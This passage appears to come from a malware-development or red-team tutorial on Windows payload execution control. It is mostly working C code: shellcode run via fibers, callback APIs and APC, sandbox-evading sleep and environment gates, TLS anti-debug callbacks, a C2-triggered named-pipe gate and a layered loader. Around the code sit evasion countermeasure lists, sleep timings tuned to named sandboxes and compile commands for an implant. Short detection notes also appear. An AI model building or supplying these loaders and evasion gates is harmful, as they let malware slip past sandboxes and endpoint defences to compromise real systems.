// ── Step 2: Convert current thread into a Fiber ────────────
// Required before we can create or switch to other fibers
g_main_fiber = ConvertThreadToFiber(NULL);
if (!g_main_fiber) {
printf("[-] ConvertThreadToFiber failed: %lu\n", GetLastError());
return 1;
}
printf("[+] Main fiber: %p\n", g_main_fiber);
// ── Step 3: Create shellcode fiber ─────────────────────────
// Stack size 4096, our wrapper function, no param
LPVOID sc_fiber = CreateFiber(4096, ShellcodeFiber, NULL);
if (!sc_fiber) {
printf("[-] CreateFiber failed: %lu\n", GetLastError());
return 1;
}
printf("[*] Switching to shellcode fiber...\n");
// ── Step 4: Switch to shellcode fiber — it executes ────────
SwitchToFiber(sc_fiber);
// ── Step 5: Back in main fiber after shellcode completes ───
printf("[*] Returned to main fiber. Shellcode complete.\n");
DeleteFiber(sc_fiber);
VirtualFree(g_shellcode_addr, 0, MEM_RELEASE);
return 0;
}
8.2 Fiber API Summary
Key Fiber APIs:
ConvertThreadToFiber(param) → makes current thread a fiber
CreateFiber(stackSize, callback, param)→ create new fiber (not running yet)
SwitchToFiber(hFiber) → switch execution to target fiber
DeleteFiber(hFiber) → destroy fiber
GetCurrentFiber() → returns current fiber handle
GetFiberData() → returns fiber-local data pointer
[DETECT] IOCs:
├─ ConvertThreadToFiber + CreateFiber API sequence
├─ RWX memory allocated near fiber stack
├─ No new thread in thread list → but fiber is in user-mode stack
└─ ETW/API monitoring: ConvertThreadToFiber is unusual in most processes
9. Job Objects — Execution Sandboxing
What it means: A Windows Job Object is a container that groups processes together and enforces limits (CPU, memory, UI interaction, network, child processes). For payload control, job objects let you restrict what a payload can do (e.g., prevent network access until a condition is met), or create a controlled execution environment that defeats analysis tools by constraining the monitored process.
9.1 Job Object Execution Gate (C)
/*
* job_gate.c — Restrict payload process via Job Object
* Use case: Launch payload in constrained job, release restrictions on auth
*/
#include <windows.h>
#include <stdio.h>
int main(void) {
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = {0};
// ── Step 1: Create a Job Object ────────────────────────────
HANDLE hJob = CreateJobObjectA(NULL, "Global\\PayloadJob_01");
if (!hJob) {
printf("[-] CreateJobObject failed: %lu\n", GetLastError());
return 1;
}
// ── Step 2: Set limits on the job ──────────────────────────
JOBOBJECT_BASIC_LIMIT_INFORMATION limits = {0};
limits.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE // Kill on handle close
| JOB_OBJECT_LIMIT_DIE_ON_UNHANDLED_EXCEPTION;
SetInformationJobObject(hJob, JobObjectBasicLimitInformation,
&limits, sizeof(limits));
// Block UI interaction (no windows visible — stealth)
JOBOBJECT_BASIC_UI_RESTRICTIONS ui = {0};
ui.UIRestrictionsClass = JOB_OBJECT_UILIMIT_HANDLES
| JOB_OBJECT_UILIMIT_READCLIPBOARD
| JOB_OBJECT_UILIMIT_WRITECLIPBOARD;
SetInformationJobObject(hJob, JobObjectBasicUIRestrictions, &ui, sizeof(ui));
// ── Step 3: Spawn payload process in suspended state ───────
CreateProcessA("C:\\Windows\\System32\\calc.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED | CREATE_NO_WINDOW,
NULL, NULL, &si, &pi);
// ── Step 4: Assign process to job BEFORE resuming ─────────
AssignProcessToJobObject(hJob, pi.hProcess);
// ── Step 5: Resume — payload runs under job restrictions ───
ResumeThread(pi.hThread);
printf("[+] Payload process PID=%lu running in job object.\n", pi.dwProcessId);
WaitForSingleObject(pi.hProcess, 15000);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hJob); // KillOnJobClose → process terminated when we close this
return 0;
}
10. Sleep-Based Timing Gates
What it means: Time-based execution gating is one of the simplest but most effective sandbox evasion techniques. Sandboxes typically analyze a sample for 30–120 seconds before declaring it benign. A payload that sleeps longer than the sandbox timeout — and verifies the sleep actually occurred — will be classified as benign. The key is verification: checking that wall-clock time actually advanced, which catches sandboxes that fast-forward Sleep().
10.1 Sleep Verification Pattern (Multi-Method)
/*
* sleep_gate.c — Multi-method timing gate for sandbox evasion
* Combines three verification approaches for robustness
*/
#include <windows.h>
#include <stdio.h>
// Method 1: GetTickCount verification
BOOL SleepVerify_TickCount(DWORD sleep_ms) {
DWORD before = GetTickCount();
Sleep(sleep_ms);
DWORD elapsed = GetTickCount() - before;
// Allow 500ms tolerance
return (elapsed >= (sleep_ms - 500));
}
// Method 2: FILETIME-based verification (harder to fake)
BOOL SleepVerify_FileTime(DWORD sleep_ms) {
FILETIME ft_before, ft_after;
ULARGE_INTEGER uli_before, uli_after;
GetSystemTimeAsFileTime(&ft_before);
Sleep(sleep_ms);
GetSystemTimeAsFileTime(&ft_after);
uli_before.LowPart = ft_before.dwLowDateTime;
uli_before.HighPart = ft_before.dwHighDateTime;
uli_after.LowPart = ft_after.dwLowDateTime;
uli_after.HighPart = ft_after.dwHighDateTime;
// Convert 100ns intervals to ms
DWORD elapsed_ms = (DWORD)((uli_after.QuadPart - uli_before.QuadPart) / 10000);
printf("[*] FileTime elapsed: %lu ms\n", elapsed_ms);
return (elapsed_ms >= (sleep_ms - 1000));
}
// Method 3: GetTickCount64 (64-bit, overflow-safe)
BOOL SleepVerify_TickCount64(DWORD sleep_ms) {
ULONGLONG before = GetTickCount64();
Sleep(sleep_ms);
ULONGLONG elapsed = GetTickCount64() - before;
return (elapsed >= (ULONGLONG)(sleep_ms - 500));
}
int main(void) {
DWORD SLEEP_MS = 30000; // 30 seconds — most sandboxes time out at 60s
printf("[*] Timing gate: waiting %lu ms...\n", SLEEP_MS);
// Run all three verification methods
BOOL t1 = SleepVerify_TickCount(SLEEP_MS);
BOOL t2 = SleepVerify_FileTime(SLEEP_MS);
BOOL t3 = SleepVerify_TickCount64(SLEEP_MS);
if (!t1 || !t2 || !t3) {
printf("[!] Timing anomaly: TickCount=%d FileTime=%d TC64=%d → Sandbox detected.\n",
t1, t2, t3);
ExitProcess(0);
}
printf("[+] All timing checks passed. Executing payload.\n");
// ... payload ...
return 0;
}
10.2 Chunked Sleep (Jitter + Verification)
/*
* chunked_sleep.c — Sleep in small chunks with jitter, verify each chunk
* [EVASION] Evades pattern matching on large single Sleep() call
* [OPSEC] Looks like natural I/O wait behavior
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
BOOL ChunkedSleepGate(DWORD total_ms, int chunks) {
DWORD chunk_ms = total_ms / chunks;
DWORD elapsed_total = 0;
srand((unsigned)GetTickCount());
for (int i = 0; i < chunks; i++) {
// Jitter: ±20% of chunk
DWORD jitter = (DWORD)(chunk_ms * 0.2);
DWORD sleep_ms = chunk_ms + (rand() % (jitter * 2)) - jitter;
DWORD before = GetTickCount();
Sleep(sleep_ms);
DWORD actual = GetTickCount() - before;
if (actual < (sleep_ms / 2)) {
// Sandbox fast-forwarded this chunk
printf("[!] Chunk %d/%d skipped! Expected ~%lu ms, got %lu ms.\n",
i+1, chunks, sleep_ms, actual);
return FALSE;
}
elapsed_total += actual;
printf("[*] Chunk %d/%d: slept %lu ms\n", i+1, chunks, actual);
}
printf("[+] Total sleep: %lu ms. Gate passed.\n", elapsed_total);
return TRUE;
}
int main(void) {
// 60 seconds total, in 6 chunks of ~10s each
if (!ChunkedSleepGate(60000, 6)) {
ExitProcess(0);
}
printf("[+] Executing payload.\n");
return 0;
}
11. Environment Keying Gates
What it means: Environment keying ties payload execution to specific host properties. The payload checks its execution environment (domain, username, hostname, file presence, screen size, memory, CPU count) and refuses to run if the environment doesn't match expected values. This prevents detonation in sandboxes, analyst VMs, and honeypots — the payload "keys" itself to the target's environment.
11.1 Multi-Factor Environment Gate (C)
/*
* env_gate.c — Multi-factor environment check before payload execution
* [EVASION] Payload won't run in sandbox / analyst VM
*/
#include <windows.h>
#include <stdio.h>
#include <string.h>
// ─── Checks ───────────────────────────────────────────────────
// Check 1: CPU count (sandboxes often have 1-2 cores)
BOOL Check_CPUCount(int min_cores) {
SYSTEM_INFO si;
GetSystemInfo(&si);
printf("[*] CPU cores: %lu\n", si.dwNumberOfProcessors);
return (si.dwNumberOfProcessors >= (DWORD)min_cores);
}
// Check 2: RAM size (sandboxes often have < 2GB)
BOOL Check_RAM(DWORDLONG min_gb) {
MEMORYSTATUSEX mem = { sizeof(mem) };
GlobalMemoryStatusEx(&mem);
DWORDLONG ram_gb = mem.ullTotalPhys / (1024*1024*1024);
printf("[*] RAM: %llu GB\n", ram_gb);
return (ram_gb >= min_gb);
}
// Check 3: Screen resolution (sandboxes: 800x600, 1024x768)
BOOL Check_ScreenRes(int min_width) {
int width = GetSystemMetrics(SM_CXSCREEN);
printf("[*] Screen width: %d px\n", width);
return (width > min_width);
}
// Check 4: System uptime (sandbox resets frequently — low uptime)
BOOL Check_Uptime(DWORD min_minutes) {
DWORD uptime_ms = GetTickCount();
DWORD uptime_min = uptime_ms / 60000;
printf("[*] Uptime: %lu minutes\n", uptime_min);
return (uptime_min >= min_minutes);
}
// Check 5: Specific file presence (target-environment artifact)
BOOL Check_FilePresence(const char *path) {
DWORD attr = GetFileAttributesA(path);
return (attr != INVALID_FILE_ATTRIBUTES);
}
// Check 6: Domain membership
BOOL Check_Domain(const char *expected_domain) {
char domain[256] = {0};
DWORD len = sizeof(domain);
// HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Domain
HKEY hKey;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryValueExA(hKey, "Domain", NULL, NULL, (LPBYTE)domain, &len);
RegCloseKey(hKey);
}
printf("[*] Domain: '%s'\n", domain);
// Empty = not domain-joined (likely sandbox)
return (strlen(domain) > 0);
}
// ─── Gate: run all checks ─────────────────────────────────────
int main(void) {
printf("[*] Running environment gate checks...\n\n");
BOOL pass = TRUE;
pass &= Check_CPUCount(2); // Need >= 2 cores
pass &= Check_RAM(3); // Need >= 3 GB RAM
pass &= Check_ScreenRes(1200); // Screen > 1200px (not sandbox default)
pass &= Check_Uptime(10); // System up >= 10 minutes
pass &= Check_Domain(""); // Commented: enable for target-specific keying
printf("\n");
if (!pass) {
printf("[!] Environment check failed. Not the target. Exiting.\n");
ExitProcess(0);
}
printf("[+] All environment checks passed. Executing payload.\n");
// ... payload ...
return 0;
}
12. Callback-Based Shellcode Execution
What it means: Windows provides dozens of APIs that accept a callback function pointer — a function to be called back by the API as part of its normal operation. By passing the shellcode address as the callback, execution is dispatched through a legitimate Windows API call rather than CreateThread. This avoids thread-creation IOCs and makes call stacks appear rooted in legitimate Windows API internals.
12.1 Common Callback APIs for Shellcode Execution
[CALLBACK] Windows APIs usable as shellcode execution vectors:
API Callback Param Notes
─────────────────────────────────────────────────────────────────
EnumWindows WNDENUMPROC Enumerate windows
EnumChildWindows WNDENUMPROC Enumerate child windows
EnumDesktopWindows WNDENUMPROC Enum desktop windows
EnumSystemLocales LOCALE_ENUMPROCA Enum system locales
EnumTimeFormatsEx TIMEFMT_ENUMPROCEX Enum time formats
EnumSystemCodePages CODEPAGE_ENUMPROCA Enum code pages
CreateTimerQueueTimer WAITORTIMERCALLBACK Timer queue callback
SetTimer TIMERPROC Window timer
SetUnhandledExceptionFilter PVECTORED_EXCEPTION_HANDLER Exception handler
AddVectoredExceptionHandler PVECTORED_EXCEPTION_HANDLER Vectored handler
CreateThreadpoolWork PTP_WORK_CALLBACK Thread pool work item
CreateThreadpoolTimer PTP_TIMER_CALLBACK Thread pool timer
CertEnumSystemStore PFN_CERT_ENUM_SYSTEM_STORE Certificate store enum
FlsAlloc PFLS_CALLBACK_FUNCTION Fiber-local storage
12.2 EnumSystemLocales Callback (C — Classic)
/*
* enum_locales_exec.c — Execute shellcode via EnumSystemLocales callback
* [EVASION] Execution dispatched through legitimate enumeration API
*/
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = {
0x90, 0x90, 0x90, // NOP (placeholder)
0xc3 // RET
};
int main(void) {
// Allocate RX memory for shellcode
LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!exec_mem) return 1;
memcpy(exec_mem, shellcode, sizeof(shellcode));
printf("[+] Shellcode at %p. Invoking via EnumSystemLocales...\n", exec_mem);
// EnumSystemLocales expects: BOOL CALLBACK proc(LPSTR lpLocaleString)
// We pass shellcode address — it will be called once per locale
// Shellcode must handle the LPSTR param (ignore it or pop it)
EnumSystemLocalesA((LOCALE_ENUMPROCA)exec_mem, LCID_INSTALLED);
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
12.3 CreateTimerQueueTimer Callback (C)
/*
* timerqueue_exec.c — Execute shellcode via CreateTimerQueueTimer callback
* [CALLBACK] Timer fires callback in thread pool → clean call stack
*/
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = { 0x90, 0x90, 0x90, 0xc3 };
int main(void) {
LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(exec_mem, shellcode, sizeof(shellcode));
HANDLE hTimer = NULL;
HANDLE hTimerQueue = CreateTimerQueue();
// Create timer — fires after 500ms, then once (0 period)
// Callback = shellcode address, no param, fires in thread pool
CreateTimerQueueTimer(
&hTimer,
hTimerQueue,
(WAITORTIMERCALLBACK)exec_mem, // Shellcode as callback
NULL, // Context param
500, // 500ms initial delay
0, // No repeat
WT_EXECUTEONLYONCE
);
printf("[*] Timer queue set. Shellcode fires in 500ms...\n");
// Wait for timer callback to fire
Sleep(2000);
DeleteTimerQueue(hTimerQueue);
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
13. Named Pipe Execution Gates
What it means: Named pipes are an IPC mechanism allowing processes to communicate. For execution control, a loader can wait on a named pipe for data/signal from a C2 server or a separate process before executing the payload. This creates a network-conditioned execution gate — the payload only fires when the C2 explicitly sends the trigger. No C2 signal = no execution, even if the loader runs.
13.1 Named Pipe Execution Gate (C)
/*
* pipe_gate.c — Payload only executes after C2 sends trigger via named pipe
* [OPSEC] Payload is inert without the C2 signal — defeats static capture
*/
#include <windows.h>
#include <stdio.h>
#include <string.h>
#define PIPE_NAME "\\\\.\\pipe\\WinUpdateCH"
#define TRIGGER_WORD "EXECUTE_NOW"
// Listener: waits for trigger from C2
int pipe_listener(void) {
HANDLE hPipe = CreateNamedPipeA(
PIPE_NAME,
PIPE_ACCESS_INBOUND, // Read only (we're listening)
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
1, // Max instances
512, 512, 0, NULL
);
if (hPipe == INVALID_HANDLE_VALUE) {
printf("[-] CreateNamedPipe failed: %lu\n", GetLastError());
return 1;
}
printf("[*] Pipe created. Waiting for C2 trigger on: %s\n", PIPE_NAME);
// Block until C2 connects
ConnectNamedPipe(hPipe, NULL);
char buffer[512] = {0};
DWORD bytes_read = 0;
ReadFile(hPipe, buffer, sizeof(buffer)-1, &bytes_read, NULL);
printf("[*] Received %lu bytes: '%s'\n", bytes_read, buffer);
if (strncmp(buffer, TRIGGER_WORD, strlen(TRIGGER_WORD)) == 0) {
printf("[+] Trigger received! Executing payload.\n");
// ... execute shellcode here ...
} else {
printf("[!] Unknown signal. Not executing.\n");
}
DisconnectNamedPipe(hPipe);
CloseHandle(hPipe);
return 0;
}
// C2 sender: sends trigger (run on C2 side or separate process)
int pipe_sender(void) {
HANDLE hPipe = CreateFileA(
PIPE_NAME,
GENERIC_WRITE, 0, NULL,
OPEN_EXISTING, 0, NULL
);
if (hPipe == INVALID_HANDLE_VALUE) {
printf("[-] Cannot open pipe: %lu\n", GetLastError());
return 1;
}
const char *trigger = TRIGGER_WORD;
DWORD written = 0;
WriteFile(hPipe, trigger, (DWORD)strlen(trigger), &written, NULL);
printf("[+] Sent trigger: '%s' (%lu bytes)\n", trigger, written);
CloseHandle(hPipe);
return 0;
}
int main(int argc, char *argv[]) {
if (argc > 1 && strcmp(argv[1], "send") == 0)
return pipe_sender();
return pipe_listener();
}
14. Execution Control via TLS Callbacks
What it means: Thread Local Storage (TLS) callbacks are functions registered in the PE's TLS directory that execute before main() or WinMain() — even before the entry point, and in some cases before many AV hooks are initialized. This gives the payload a chance to perform environment checks, sandbox detection, or even run shellcode before the normal analysis flow begins.
14.1 TLS Callback — Pre-Main Execution Gate (C)
/*
* tls_gate.c — Use TLS callback to run environment checks BEFORE main()
* [EVASION] TLS fires before debugger attaches fully, before some AV hooks
* Compile: cl.exe tls_gate.c /link /INCLUDE:__tls_used
*/
#include <windows.h>
#include <stdio.h>
// Forward declarations
void NTAPI TlsCallback(PVOID DllHandle, DWORD Reason, PVOID Reserved);
// Register TLS callback in the .CRT$XLB section
#pragma comment(linker, "/INCLUDE:__tls_used")
#pragma data_seg(".CRT$XLB")
PIMAGE_TLS_CALLBACK tls_callbacks[] = { TlsCallback, NULL };
#pragma data_seg()
// TLS directory (required)
extern "C" const IMAGE_TLS_DIRECTORY _tls_used = {
0, 0, 0,
(DWORD)(DWORD_PTR)tls_callbacks,
0, 0
};
void NTAPI TlsCallback(PVOID DllHandle, DWORD Reason, PVOID Reserved) {
if (Reason == DLL_PROCESS_ATTACH) {
// This runs BEFORE main()
// ── Sandbox check: CPU count ────────────────────────────
SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) {
// Likely sandbox — terminate before any analysis begins
TerminateProcess(GetCurrentProcess(), 0);
}
// ── Anti-debug check ────────────────────────────────────
if (IsDebuggerPresent()) {
TerminateProcess(GetCurrentProcess(), 0);
}
}
}
int main(void) {
// This only runs if TLS callback allowed it
printf("[+] TLS gate passed. Main() executing.\n");
// ... payload ...
return 0;
}
[DETECT] TLS callbacks are a well-known malware technique. Static analysis tools (PE-bear, CFF Explorer, PEiD) show TLS directory presence. Malware using TLS is flagged as higher-confidence by most AV heuristics.
15. Combining Techniques — Layered Execution Control
What it means: Each individual technique is detectable. Layering multiple control mechanisms forces an analyst/EDR to defeat all of them simultaneously — the closer the payload sits to its "inner shell" of controls, the harder it is to reach.
15.1 Full Layered Controller (C — Production Pattern)
/*
* layered_control.c — Production-grade layered execution control
* Layers: Mutex → Env Gate → Timing Gate → Named Pipe Trigger → APC Execute
*/
#include <windows.h>
#include <stdio.h>
#include <string.h>
// ─── Layer 1: Mutex — single instance ─────────────────────────
HANDLE g_hMutex = NULL;
BOOL Layer1_MutexGate(void) {
char name[256] = {0};
char computer[MAX_COMPUTERNAME_LENGTH + 1] = {0};
DWORD len = sizeof(computer);
GetComputerNameA(computer, &len);
snprintf(name, sizeof(name), "Global\\SVC_%s_01", computer);
g_hMutex = CreateMutexA(NULL, TRUE, name);
if (!g_hMutex || GetLastError() == ERROR_ALREADY_EXISTS) {
if (g_hMutex) CloseHandle(g_hMutex);
return FALSE;
}
return TRUE;
}
// ─── Layer 2: Environment gate ────────────────────────────────
BOOL Layer2_EnvGate(void) {
SYSTEM_INFO si; GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) return FALSE;
MEMORYSTATUSEX mem = { sizeof(mem) };
GlobalMemoryStatusEx(&mem);
if (mem.ullTotalPhys < 2ULL * 1024 * 1024 * 1024) return FALSE;
if (GetSystemMetrics(SM_CXSCREEN) <= 1024) return FALSE;
if (IsDebuggerPresent()) return FALSE;
return TRUE;
}
// ─── Layer 3: Timing gate ─────────────────────────────────────
BOOL Layer3_TimingGate(void) {
DWORD before = GetTickCount();
Sleep(15000); // 15 seconds
DWORD elapsed = GetTickCount() - before;
return (elapsed >= 14000);
}
// ─── Layer 4: Payload execution via APC ──────────────────────
unsigned char g_shellcode[] = { 0x90, 0x90, 0xc3 }; // placeholder
BOOL Layer4_APCExecute(void) {
LPVOID mem = VirtualAlloc(NULL, sizeof(g_shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!mem) return FALSE;
memcpy(mem, g_shellcode, sizeof(g_shellcode));
// Queue to own thread via alertable sleep
QueueUserAPC((PAPCFUNC)mem, GetCurrentThread(), 0);
SleepEx(1000, TRUE); // Alertable → APC fires → shellcode runs
VirtualFree(mem, 0, MEM_RELEASE);
return TRUE;
}
// ─── Main: run all layers ─────────────────────────────────────
int main(void) {
printf("[*] Layer 1: Mutex gate...\n");
if (!Layer1_MutexGate()) { ExitProcess(0); }
printf("[*] Layer 2: Environment gate...\n");
if (!Layer2_EnvGate()) { ExitProcess(0); }
printf("[*] Layer 3: Timing gate (15s)...\n");
if (!Layer3_TimingGate()) { ExitProcess(0); }
printf("[*] Layer 4: Executing payload via APC...\n");
Layer4_APCExecute();
if (g_hMutex) { ReleaseMutex(g_hMutex); CloseHandle(g_hMutex); }
return 0;
}
16. Detection & Evasion
16.1 Detection Methods
[DETECT] Host-based detection vectors:
Mutex / Semaphore / Event names:
├─ Sysinternals Handle.exe or ProcessHacker → Handles tab
├─ Volatility3: windows.handles --type=Mutant,Semaphore,Event
├─ WinDbg: !handle 0 f Mutant
└─ ETW: object creation events (requires kernel ETW provider)
APC injection:
├─ Sysmon Event ID 8: CreateRemoteThread
├─ ETW: Microsoft-Windows-Threat-Intelligence → QueueUserAPC
├─ EDR: cross-process memory write + QueueUserAPC sequence
└─ Shellcode in RWX memory of target process
Thread pool / Fiber / Callback execution:
├─ API monitor: ConvertThreadToFiber, CreateFiber, SwitchToFiber
├─ CreateThreadpoolWait/Timer with callback in shellcode memory
├─ EnumSystemLocales / EnumWindows with RWX callback pointer
└─ Call stack: missing standard thread init frames
Timing anomaly detection:
├─ CAPE sandbox: tracks Sleep calls, fast-forwards time
├─ Any.run / Joe Sandbox: time skip detection active
└─ YARA: large hard-coded sleep values (> 30000 ms literals)
Pipe-based gates:
├─ Sysmon Event ID 17/18: Named pipe create/connect
└─ Network IOC: outbound pipe data if using SMB named pipes
16.2 Evasion Countermeasures
[EVASION] Techniques to defeat detection:
Against mutex hunting:
├─ Derive mutex name from environment (ComputerName + UserName hash)
├─ Use session-scoped objects: Sessions\N\BaseNamedObjects\<name>
└─ Use short-lived mutexes (release immediately after check)
Against APC detection:
├─ Use NtQueueApcThread (direct syscall) instead of QueueUserAPC
├─ Use "Early Bird" → APC fires before AV hooks are loaded
└─ Stack spoof the APC dispatch chain
Against timing bypass:
├─ Verify sleep with multiple independent clocks (TickCount + FileTime)
├─ Use NtWaitForSingleObject direct syscall (harder to hook)
├─ Combine timer with CPU-burning loop (sandbox can't skip both)
└─ Check system uptime in addition to elapsed time
Against call stack inspection:
├─ Thread pool callbacks have legitimate stacks (TppWorkerThread)
├─ Fiber execution stays in thread — no new thread creation
├─ Call stack spoofing (Ekko/Draugr): forge legitimate return frames
└─ Use NtContinue to transfer execution without visible call
Against environment checks being patched:
├─ Use multiple independent checks — defeating one doesn't help
├─ Key off domain/username (analyst VM ≠ target domain)
└─ Derive decryption key from environment → payload won't decrypt
16.3 Tools for Analysis
[TOOL] Analysis and testing tools:
Defensive / Forensic:
├─ ProcessHacker v3 / System Informer — kernel object handles, threads
├─ Volatility3 — memory forensics, handle enumeration
├─ Sysmon — ETW-based API call logging
├─ API Monitor (rohitab.com) — real-time API call tracing
├─ PE-sieve — scan process memory for shellcode
├─ Hollows_Hunter — detect hollowed / stomped processes
└─ al-khaser — anti-analysis check reference (GitHub)
Red Team / Testing:
├─ ThreatCheck — find triggering bytes (GitHub: rasta-mouse/ThreatCheck)
├─ DefenderCheck — test against Windows Defender
├─ CAPE Sandbox — dynamic analysis with sleep-skip (capesandbox.com)
├─ Any.run — interactive sandbox with call stack inspection
└─ RustRedOps — Rust implementations of execution control techniques
(GitHub: joaoviictorti/RustRedOps — Payload_Execution_Control)
17. Comparison Matrix
| Technique | Execution Gate Purpose | CreateThread Avoided | Cross-Process | Sandbox Evasion | Detection Risk | Complexity |
|---|---|---|---|---|---|---|
| Mutex | Single-instance / re-exec prevention | No | Yes (named) | Medium | Medium (huntable name) | Low |
| Event | Signal-based trigger | No | Yes (named) | High (timeout kill) | Medium | Low |
| Semaphore | Concurrency limiter / stage gate | No | Yes (named) | Low | Low | Low |
| Waitable Timer | Time-deferred execution | No | No | High (verify elapsed) | Medium | Medium |
| APC Injection | Thread-hijack execution | Yes | Yes | Medium | High (ETW visible) | High |
| Early Bird APC | Pre-EP execution | Yes | Yes | High | Very High | High |
| Thread Pool Wait | Callback execution | Yes | No | Medium | Medium (clean stack) | Medium |
| Fibers | In-process cooperative exec | Yes | No | Low | Medium | Medium |
| Job Objects | Process restriction / containment | No | Yes | Low | Low | Medium |
| Sleep Gate | Sandbox timeout evasion | No | No | Very High | Low (if verified) | Low |
| Env Gate | Environment keying | No | No | Very High | Low | Low |
| Callback APIs | Indirect shellcode execution | Yes | No | Medium | Medium | Medium |
| Named Pipe Gate | C2-triggered execution | No | Yes | Very High | Medium | Medium |
| TLS Callback | Pre-main execution | No | No | High | High (AV flags TLS) | High |
18. Cheat Sheet
Quick Decision Tree — Which Control Technique?
Need execution control?
│
├─ Prevent multiple instances?
│ └─ Named Mutex (derive name from environment)
│
├─ Defer execution past sandbox timeout?
│ └─ Sleep gate + timer verification (≥ 90 seconds)
│ └─ Add: environment gate (CPU + RAM + screen)
│
├─ Trigger payload only on C2 signal?
│ └─ Named Event OR Named Pipe gate
│
├─ Avoid CreateThread (EDR monitors it)?
│ ├─ Fiber execution (in-process, no thread)
│ ├─ APC injection (queue to existing thread)
│ ├─ Thread pool wait (CreateThreadpoolWait)
│ └─ Callback API (EnumSystemLocales, CertEnumSystemStore)
│
├─ Prevent execution in sandbox/analyst VM?
│ ├─ Environment gate (CPU, RAM, uptime, screen, domain)
│ └─ Timing gate + multi-clock verification
│
├─ Coordinate multi-stage attack?
│ └─ Semaphore pipeline (stage N signals stage N+1)
│
├─ Execute before AV hooks load?
│ └─ TLS Callback (runs before main) OR Early Bird APC
│
└─ Maximum stealth, production engagement?
└─ Stack all: Mutex + Env gate + Timer + Named Pipe + APC/Fiber
+ NtWaitForSingleObject (direct syscall) + call stack spoof
Windows API Quick Reference
Mutex:
CreateMutexA(NULL, TRUE, "Global\\Name") // Create + own
OpenMutexA(MUTEX_ALL_ACCESS, FALSE, "Global\\Name") // Check if exists
ReleaseMutex(hMutex) // Release ownership
Event:
CreateEventA(NULL, bManualReset, bInitState, "Global\\Name")
SetEvent(hEvent) // Signal (wake waiters)
ResetEvent(hEvent) // Un-signal manual-reset event
WaitForSingleObject(hEvent, timeout_ms)
Semaphore:
CreateSemaphoreA(NULL, initial, max, "Global\\Name")
WaitForSingleObject(hSem, 0) // Non-blocking acquire
ReleaseSemaphore(hSem, 1, &prev) // Release one slot
Waitable Timer:
CreateWaitableTimerA(NULL, TRUE, NULL)
SetWaitableTimer(hTimer, &liDue, 0, NULL, NULL, FALSE)
// liDue = LARGE_INTEGER; negative = relative (100ns units)
// 30s = -300000000LL
APC:
QueueUserAPC(callback, hThread, param)
SleepEx(ms, TRUE) // Alertable — triggers queued APCs
WaitForSingleObjectEx(h, ms, TRUE) // Also alertable
Thread Pool:
CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcode, NULL, NULL)
SetThreadpoolWait(tpWait, hEvent, NULL)
Fibers:
ConvertThreadToFiber(NULL)
CreateFiber(4096, callback, param)
SwitchToFiber(hFiber)
Timing:
GetTickCount() // 32-bit ms counter (wraps at 49 days)
GetTickCount64() // 64-bit ms counter
GetSystemTimeAsFileTime(&ft) // FILETIME (100ns intervals since 1601)
Key Compile Commands
# C — MSVC (Windows)
cl.exe control.c /Fe:control.exe
# C — MinGW cross-compile (Linux → Windows)
x86_64-w64-mingw32-gcc control.c -o control.exe -lntdll
# C — TLS callback (MSVC)
cl.exe tls_gate.cpp /Fe:tls_gate.exe /link /INCLUDE:__tls_used
# C# — compile implant
csc.exe /target:exe /out:gate.exe gate.cs
# Test mutex names (PowerShell — live system)
[System.Threading.Mutex]::OpenExisting("Global\\YourMutexName")
# Enumerate all named kernel objects (requires PH or WinObj)
winobj.exe # Sysinternals WinObj — browse \BaseNamedObjects\
Timing Quick Reference
Sleep durations vs sandbox timeouts:
CAPE Sandbox: ~120 seconds max analysis window
Any.run: ~60 seconds (free tier)
Joe Sandbox: ~120 seconds
VirusTotal: ~60 seconds sandbox
Windows Defender sandbox: ~15-30 seconds
Recommended sleep gate: 90–150 seconds
liDueTime.QuadPart = -1500000000LL // 150 seconds as LARGE_INTEGER
100ns interval conversion:
1 second = 10,000,000 units
30 seconds = 300,000,000 units → -300000000LL
90 seconds = 900,000,000 units → -900000000LL
120 seconds = 1,200,000,000 units → -1200000000LL
Named Object Prefix Reference
Object name prefixes (Windows kernel namespace):
Global\<name> Visible to ALL sessions (admin + user)
Local\<name> Current session only (same as no prefix)
Sessions\N\... Specific session N
\BaseNamedObjects\ WinObj root for named kernel objects
Visibility:
Global\Foo → visible in Task Manager, ProcessHacker, WinObj, Volatility
unnamed → not visible by name — harder to enumerate but cross-process share requires handle inheritance
References & Tools
Execution Control & Synchronization: - RustRedOps — https://github.com/joaoviictorti/RustRedOps (Payload_Execution_Control module) - Ired.team — https://www.ired.team (shellcode via CreateThreadpoolWait, Fibers, APC) - Unprotect Project — https://unprotect.it/technique/shellcode-injection-via-createthreadpoolwait/ - Cocomelonc — https://cocomelonc.github.io/malware/2023/01/04/malware-tricks-26.html (Mutex tricks) - 0xpat.github.io — https://0xpat.github.io/Malware_development_part_2/ (Anti-sandbox timing)
MITRE ATT&CK: - T1055.004 — Process Injection: Asynchronous Procedure Call - T1055 — Process Injection (general) - T1497 — Virtualization/Sandbox Evasion - T1497.003 — Time-Based Evasion
